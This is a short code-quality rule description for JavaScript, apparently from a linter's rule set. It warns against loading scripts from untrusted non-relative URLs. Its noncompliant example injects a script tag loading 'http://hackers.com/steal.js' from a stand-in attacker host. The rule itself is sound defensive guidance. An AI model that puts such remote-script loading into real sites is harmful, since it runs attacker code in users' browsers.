rspec/rules/S2611/javascript/rule.adoc

Including content in your site from an untrusted source can expose your users to attackers and even compromise your own site. For that reason, this rule raises an issue for each non-relative URL.


== Noncompliant Code Example

[source,javascript]
----
function include(url) {
  var s = document.createElement("script");
  s.setAttribute("type", "text/javascript");
  s.setAttribute("src", url);
  document.body.appendChild(s);
}
include("http://hackers.com/steal.js")  // Noncompliant
